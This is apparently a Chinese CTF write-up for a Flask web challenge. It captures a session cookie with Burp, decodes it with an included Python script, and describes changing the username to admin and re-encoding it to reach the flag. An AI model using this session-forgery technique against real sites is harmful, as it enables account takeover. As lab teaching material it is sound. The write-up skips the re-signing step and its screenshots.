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需要用到的工具：burp、kali

解题步骤

1. 先注册一个账号，然后用注册的账号进行登陆，右上角点击change password
   

2. 在change password页面找到GitHub的下载地址，下载源码。

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

4. 通过bp抓包网页的cookie
   

5. 来到kali——把上面的py代码写到一个文件中（如sessionDecryption.py）——运行py代码——得到解码信息，把账户名修改为admin——进行编码
   python sessionDecryption.py .eJw9kEGLwjAUhP_K8s4eatpeBA-FtEXhPVFSQ95Fdt1qmrQuVMUa8b9vVxaPwzAfM_OA3aGvzxZml_5aT2DXfMPsAR9fMANS_kYqCygXCYaiYb0YMGwaVseYu3wgSZ7CxqLDKassQl1NjWv9ShaWNN5QHhMKKFivU-xGLarUhH2MJVvTYYKlGUhVEXcLQWWekN7alcwEu-xuQn5nSc4ok5KzlstckKhi1oX_y46ZlJQRFMijWs_hOYH9uT_sLj--Pr0nsF5a46qEZR6jqgSX5k5urKM2rQk-HitHJNuW5NKT3DqS2YDr-QvXdJ_H-k3SVVHwv3P67EYDQmthAtdz3b9eg2kEz194TWpx.ZjIC3A.kR5-hd2uq_jKbZWLd1qTeH_U0gI
   

6. 回到bp把cookie改掉；在网页中就可以看到flag了，网址过期了，懒得截后面的图了。相信你们阔以的。